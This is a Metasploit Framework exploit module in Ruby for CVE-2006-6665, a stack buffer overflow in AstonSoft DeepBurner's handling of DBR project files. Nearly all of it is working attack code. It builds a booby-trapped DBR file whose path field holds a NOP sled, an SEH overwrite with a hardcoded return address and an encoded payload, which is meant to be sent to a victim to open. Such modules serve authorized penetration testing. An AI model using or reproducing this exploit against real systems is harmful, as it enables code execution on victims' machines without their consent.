AstonSoft DeepBurner (DBR File) Path Buffer Overflow

`##  
# $Id: deepburner_path.rb 8361 2010-02-03 06:09:31Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AstonSoft DeepBurner (DBR File) Path Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in versions 1.9.0.228,   
1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc).  
An attacker must send the file to victim and the victim must open the file.  
Alternatively it may be possible to execute code remotely via an embedded  
DBR file within a browser, since the DBR extention is registered to DeepBurner.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Expanders', # original discovery (2006)  
'fl0 fl0w', # re-discovered 2009/2010  
'jduck' # metasploit version  
],  
'Version' => '$Revision: 8361 $',  
'References' =>  
[  
[ 'BID', '21657' ],  
[ 'OSVDB', '32356' ],  
[ 'CVE', '2006-6665' ],  
[ 'URL', 'http://milw0rm.com/exploits/2950' ],  
[ 'URL', 'http://milw0rm.com/exploits/8335' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/11315' ]  
],  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x101021f8 } ], # p/p/r - basswma.dll v2.2.0.3 (seems to be packed)  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 19 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dbr']),  
], self.class)  
end  
  
def exploit  
  
template = %Q|<DeepBurner_record ver="1.9.0.228" type="data">  
<data_cd ver="1" device="" session2import="0" finalize_disc="0" finalize_track="1" bootable="0" boot_image_path="">  
<dir name="CDRoot" imp="0">  
<file name="map_fear_drives.bat" path="REPLACE_ME" imp="0" />  
</dir>  
</data_cd>  
<cd_label ver="1" zoom="0" view="label" layout="standart">  
<label />  
<front />  
<back />  
</cd_label>  
<autorun ver="1" use="0">  
<main name="MainForm" image_path="" hint="" />  
<title name="Title" text="Title" hint="Title box" left="144" top="48" width="57" height="33" fontname="Times New Roman" fontsize="20" fontcolor="255" visible="1" fontstyle="0" />  
<comment name="Comments" text="Comment" hint="Comment box" left="40" top="76" width="89" height="29" fontname="Times New Roman" fontsize="15" fontcolor="255" visible="1" fontstyle="0" />  
<exitbutton name="ButtonExit" image_path="" image_down_path="" text="Exit" hint="Exit this program" left="120" top="96" width="75" height="25" fontname="MS Sans Serif" fontsize="8" fontcolor="255" visible="1" fontstyle="0" />  
</autorun>  
</DeepBurner_record>  
|  
  
seh_offset = 272  
path = make_nops(seh_offset)  
path << generate_seh_record(target.ret)  
path << payload.encoded  
path << rand_text_alphanumeric(1000) * 20  
path = xml_encode(path)  
  
sploit = template.gsub(/REPLACE_ME/, path)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
def xml_encode(str)  
ret = ""  
str.unpack('C*').each { |ch|  
case ch  
when 0x41..0x5a, 0x61..0x7a, 0x30..0x39  
ret << ch.chr  
else  
ret << "&#x"  
ret << ch.chr.unpack('H*')[0]  
ret << ";"  
end  
}  
ret  
end  
  
end  
`